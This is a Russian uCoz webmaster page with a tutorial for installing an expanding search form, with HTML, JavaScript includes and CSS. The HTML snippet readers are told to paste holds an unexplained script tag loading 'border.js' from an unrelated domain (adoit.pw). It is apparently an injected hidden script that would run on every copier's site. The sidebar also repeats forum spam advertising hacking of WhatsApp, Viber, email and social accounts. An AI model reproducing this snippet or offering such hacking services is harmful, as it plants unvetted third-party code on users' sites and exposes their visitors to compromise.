Меню сайта
 Основное меню  Soft католог  Фильмы Онлайн  Католог статей  Фотогалерея  ФОРУМ
Мини-чат
300
Новое на форуме
1 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
2 : Горизонтальное меню для ucoz
3 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
4 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
5 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
6 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
7 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
8 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
9 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
10 : ВЗЛОМ ВАТСАП ВАЙБЕР ПОЧТ И СОЦ.СЕТЕЙ
Баннерообмен


Киноновинки-онлайн, Бесплатный SOFT, Флеш-игры онлайн, Новости из мира интернет-технологий, Скрипты uCoz, Статьи ВК и тп. Всё тут!

Кинотеатр онлайн Luchok.com 


  • Хостинг Изображений
  • Хостинг Файлов
  • Наш опрос
    Какая у вас операционная система?
    Всего ответов: 326
    Статистика
    Счетчик посещений сайта

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарег. на сайте
    Всего: 531
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 4
    Проверенных: 1
    Обычных юзеров: 458
    Из них
    Парней: 475
    Девушек: 56

    Нас сегодня посетили:

    Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
    13:50
    Создаём раздвижную форму поиска для uCoz
    Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

    Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

    И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

    Код
    <script src="http://pnghosts.ru/js_css/classie.js"></script>
    <script src="http://pnghosts.ru/js_css/uisearch.js"></script>
    <script>
      new UISearch( document.getElementById( 'sb-search' ) );
    </script>


    Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

    Код
    <!-- Поиск по сайту -->  
      <div id="sb-search" class="sb-search">
      <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
      <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
      <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
      </form>  
      </div>  
      <!-- /Поиск по сайту -->


    Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

    Код
    /* Раздвижная форма поиска для uCoz
    ------------------------------------------*/
    .sb-search {
      position: relative;
      margin-top: 10px;
      width: 0%;
      min-width: 32px;
      height: 32px;
      float: right;
      overflow: hidden;
       
      -webkit-transition: width 0.3s;
      -moz-transition: width 0.3s;
      transition: width 0.3s;
      -webkit-backface-visibility: hidden;
    }

    .sb-search-input {
      position: absolute;
      top: 0;
      right: 0;
       
      margin: 0;
      z-index: 10;
      width:300px;
      height: 20px;
      outline: none;
      background: #fff;  
      border: 1px solid #CAD3DA;  
      padding: 5px 32px 5px 20px;
       
      font:11px Verdana,Arial,Helvetica, sans-serif;
      color:#555;  
      border-radius:3px 0px 0px 3px;  
    }

    .sb-search-input::-webkit-input-placeholder {
      color: #efb480;
    }

    .sb-search-input:-moz-placeholder {
      color: #efb480;
    }

    .sb-search-input::-moz-placeholder {
      color: #efb480;
    }

    .sb-search-input:-ms-input-placeholder {
      color: #efb480;
    }

    .sb-icon-search,
    .sb-search-submit {
      position: absolute;
      right: 0;
      top: 0;
      margin: 0;
       
      width: 32px;
      height: 32px;
      display: block;

      line-height: 30px;
      text-align: center;
      cursor: pointer;
    }

    .sb-search-submit {
      background: #fff;
      color: transparent;
      border: none;
      outline: none;
      z-index: -1;
      -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
      filter: alpha(opacity=0);  
      opacity: 0;  
    }

    .sb-icon-search {
      border:none;  
      z-index: 90;
      background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
      -webkit-font-smoothing: antialiased;
      border-radius:3px 3px 3px 3px;  
    }

    .sb-icon-search:before {
      content: "\e000";
    }

    .sb-search.sb-search-open,
    .no-js .sb-search {
      width: 100%;
    }

    .sb-search.sb-search-open .sb-icon-search,
    .no-js .sb-search .sb-icon-search {
      background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
      z-index: 11;
      border-radius:0px 3px 3px 0px;  
    }

    .sb-search.sb-search-open .sb-search-submit,
    .no-js .sb-search .sb-search-submit {
      z-index: 90;
    }


    На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

    Спасибо за внимание!
    Просмотров: 115 | Добавил: DoG | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Форма входа
    Советуем к просмотру
    Крик 4 / Scream 4
    [Ужасы, Мистика]
    Люди Икс: Первый класс
    [Фантастика, Приключения]
    Патруль времени (2010)
    [Фантастика, Приключения]
    Мой парень из зоопарка / Zookeeper (2011)
    [Комедии, Экшн]
    Храбрые перцем / Your Highness
    [Комедии, Экшн]
    Рыцарь дня(2010)
    [Боевики, Триллер, драки]
    Законопослушный гражданин / Law Abiding Citizen (2009)
    [Боевики, Триллер, драки]
    Скайлайн (Фантастика/Триллер)
    [Фантастика, Приключения]
    Запрещенный прием / Sucker Punch
    [Фантастика, Приключения]
    Ночной Базар
    [Гоблинские переводы]
    Трансформеры 3: Тёмная сторона Луны
    [Фантастика, Приключения]
    Край (2010) DVDRip
    [Фантастика, Приключения]
    Мегамозг 3D (Megamind) 2010
    [Мультфильмы,Мультсериалы, Анимэ]
    Пираньи 3D
    [Ужасы, Мистика]
    Район №9 (2009)
    [Фантастика, Приключения]
    Ронал-варвар
    [Фантастика, Приключения]
    КВН Луна
    [Видео, Приколы]
    Рио / Rio (2011)
    [Мультфильмы,Мультсериалы, Анимэ]
    Путешествие Гулливера
    [Фантастика, Приключения]
    Большая Разница. Пародия на Камеди клаб
    [Видео, Приколы]
    Гарри Поттер и Особая уличная магия
    [Гоблинские переводы]
    Тёмный мир в 3D
    [Ужасы, Мистика]
    Россия от края до края
    [Документальные, Наука]
    Мгла / The Mist (2007)
    [Ужасы, Мистика]
    Очень плохая училка / Bad Teacher
    [Комедии, Экшн]
    Большая разница - телемагазин (Водка)
    [Видео, Приколы]
    Большая разница - Top Gear
    [Видео, Приколы]
    Большая разница - Кто хочет стать миллионером
    [Видео, Приколы]
    Ученик Чародея
    [Фантастика, Приключения]
    Алиса в стране чудес
    [Фантастика, Приключения]
    Тайна красной планеты
    [Мультфильмы,Мультсериалы, Анимэ]
    Ёлки (2010)
    [Комедии, Экшн]
    Властелин колец: Возвращение бомжа
    [Гоблинские переводы]
    РАМШАРИКИ
    [Видео, Приколы]
    Сумерки 3. Затмение
    [Фантастика, Приключения]
    Большая разница - Древне-русская реклама
    [Видео, Приколы]
    Месть пушистых
    [Фильмы, Семейные]
    Зелёный Шершень 3D
    [Фантастика, Приключения]
    Три богатыря и Шамаханская царица
    [Мультфильмы,Мультсериалы, Анимэ]
    Ледяная дрожь
    [Фантастика, Приключения]
    Погоня / Abduction (2011)
    [Боевики, Триллер, драки]
    TRON: Наследие 2010
    [Фантастика, Приключения]
    Как приручить дракона: Дар ночной фурии
    [Мультфильмы,Мультсериалы, Анимэ]
    Гарри Поттер и Дары смерти: Часть II / Harry Potter and the Deathly Hallows: Part 2
    [Фантастика, Приключения]
    Му-му Комбат
    [Видео, Приколы]
    Это очень забавная история (2010)
    [Комедии, Экшн]
    Пол: Секретный материальчик (2011)
    [Фантастика, Приключения]
    КВН "Битва умников" (Утомлённые солнцем)
    [Видео, Приколы]
    Реквием из песка
    [Видео, Приколы]
    Белый ниндзя из Беверли Хиллз
    [Комедии, Экшн]
    Необходимый Софт

    Для красивого отображения этого блока требуется Flash Player 9 или выше.

    Свежие новости
    Самые свежие Новости

    Яндекс цитирования
    Поиск


    Яндекс.Метрика
    Copyright © 2010-2017г